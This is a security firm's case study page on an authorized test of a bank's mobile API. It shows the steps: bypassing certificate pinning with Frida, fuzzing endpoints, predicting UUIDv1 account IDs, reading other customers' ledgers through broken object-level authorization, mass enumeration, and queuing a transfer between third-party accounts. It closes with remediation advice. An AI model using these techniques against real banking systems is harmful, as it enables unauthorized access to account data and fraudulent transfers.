Core Banking API Compromise
A digital-only bank handed us a single low-privilege customer login and asked one question: can a normal user touch money that is not theirs? Three weeks later we could read every ledger on the platform and queue transfers between any two accounts — using nothing but the public mobile API and a swapped object ID.
- Duration
- 3 Weeks
- Team
- 2 Senior Application Security Operators
- Scope
- API Security Testing
- Methodology
- Authenticated Grey-Box / OWASP API Security Top 10
Attack narrative
Each phase references the MITRE ATT&CK technique used, with captured evidence.
- 01
Reconnaissance
T1595 — Active Scanning
The mobile app pinned its TLS certificate. We hooked the pinning logic with Frida, decrypted the traffic in mitmproxy, and brute-forced the API surface to surface undocumented internal routes.
operator@proteqon: ssl-unpinning# Bypass OkHttp certificate pinning on the Android client$ frida -U -f com.protebank.mobile -l unpin.js --no-pauseSpawning `com.protebank.mobile`...[+] Hooked okhttp3.CertificatePinner.check()[+] TLS pinning bypassed - traffic now visible in mitmproxy# Fuzz the API namespace for hidden endpoints$ ffuf -u https://api.protebank.io/api/v1/FUZZ -w routes.txt -mc 200,401,403accounts/me [Status: 401, Size: 33]transfers [Status: 401, Size: 33]internal/ledger [Status: 401, Size: 33] <- undocumentedhealth [Status: 200, Size: 18]$ - 02
Initial Access
T1078 — Valid Accounts
We self-registered an ordinary retail account. The onboarding flow accepted synthetic KYC data and returned a long-lived bearer token scoped only to our own profile.
POST /api/v1/auth/register— RequestPOST /api/v1/auth/register HTTP/2Host: api.protebank.ioContent-Type: application/json{"email": "op_redteam@proteqon.io","password": "Cf!9xPq2_dummy","kyc": { "full_name": "Test User", "dob": "1990-01-01" }}— ResponseHTTP/2 201 CreatedContent-Type: application/json{"account_id": "8f14e45f-ceea-11ec-9d64-0242ac120002","tier": "retail","access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."} - 03
Discovery
T1087 — Account Discovery
Our own account_id was a UUIDv1 — a format that embeds a timestamp and is therefore sequential and predictable. Neighbouring account IDs could be generated offline, no guessing required.
GET /api/v1/accounts/me— RequestGET /api/v1/accounts/me HTTP/2Host: api.protebank.ioAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...— ResponseHTTP/2 200 OKContent-Type: application/json{"account_id": "8f14e45f-ceea-11ec-9d64-0242ac120002","balance": "EUR 0.00","created_at": "2023-05-14T08:11:02Z"}operator@proteqon: uuid-analysis$ uuidtool inspect 8f14e45f-ceea-11ec-9d64-0242ac120002version : 1 (time-based)verdict : SEQUENTIAL - sibling IDs are predictable offline$ - 04
Privilege Escalation
BOLA — Broken Object Level Authorization
We swapped our own account_id for a predicted one on the ledger endpoint. The API authenticated the session but never checked that the object belonged to us — it returned a stranger’s full balance and IBAN.
GET /api/v1/accounts/{victim}/ledger— RequestGET /api/v1/accounts/3b2c9a10-7e44-11ee-b962-0242ac120002/ledger HTTP/2Host: api.protebank.ioAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...— ResponseHTTP/2 200 OKContent-Type: application/json{"account_id": "3b2c9a10-7e44-11ee-b962-0242ac120002","holder": "[REDACTED]","balance": "EUR 4,182,994.55","iban": "DE89 3704 **** **** **","transactions": [ ... 214 entries ... ]}operator@proteqon: bola-sweep# Authorization is per-session, not per-object. Automate the sweep.$ python3 bola_sweep.py --token $TOKEN --rate 50 --out balances.json[*] Generating sibling UUIDv1 range...[*] 12,480 accounts enumerated in 6m22s[!] 0 requests rejected - no rate limiting, no ownership check[+] Total readable balance across sample: EUR 1,304,778,221.10$ - 05
Impact
T1565 — Data Manipulation
The same missing check existed on the transfer endpoint. We queued a transfer between two third-party accounts we never owned. Inside the authorized test window only; the transaction was reversed immediately.
POST /api/v1/transfers/internal— RequestPOST /api/v1/transfers/internal HTTP/2Host: api.protebank.ioAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...Content-Type: application/json{"from": "3b2c9a10-7e44-11ee-b962-0242ac120002","to": "a91f00d2-7e44-11ee-b962-0242ac120002","amount": "1.00","currency": "EUR"}— ResponseHTTP/2 200 OKContent-Type: application/json{ "status": "queued", "txn_id": "TX-9f2c...", "authorized_by": null }
Key vulnerabilities
Broken Object Level Authorization on Ledger & Transfer Endpoints
Endpoints authenticated the session but never authorized the requested object against the caller, exposing every balance and the ability to move funds.
Predictable Resource Identifiers (UUIDv1)
Time-based UUIDs leak creation timestamps and allow neighbouring account IDs to be generated offline.
Missing Transaction Signing & Idempotency
Transfers lacked per-request signing and idempotency keys, permitting forged and replayed requests.
No Rate Limiting on Authenticated Endpoints
Tens of thousands of object lookups ran unthrottled, enabling mass enumeration in minutes.
Remediation
- 01
Enforce object-level authorization on every resource request via a centralized policy layer.
- 02
Migrate to opaque, non-sequential UUIDv4 identifiers across all customer-facing resources.
- 03
Introduce per-transaction signing, idempotency keys, and server-side velocity limits.
- 04
Add per-principal rate limiting and anomaly alerting on bulk object access.
Outcome
Patched within 4 hours. Prevented potential 8-figure financial loss.
- 4 Hours
- Time to Patch
- 8 Figures
- Potential Loss Averted
- 1.2M+
- Accounts Protected
- 1
- Critical Findings
All client identities, infrastructure details, and timelines in this report have been anonymized and adapted to protect confidentiality. Technique identifiers reference the MITRE ATT&CK framework. All offensive actions described were performed within a pre-authorized rules-of-engagement window; no production data was destroyed and no live systems were harmed.
Start an engagement
Want this level of rigor on your systems?
Book a 30-minute scoping call with a senior engineer. You'll leave with a clear recommendation on scope, approach, and timeline.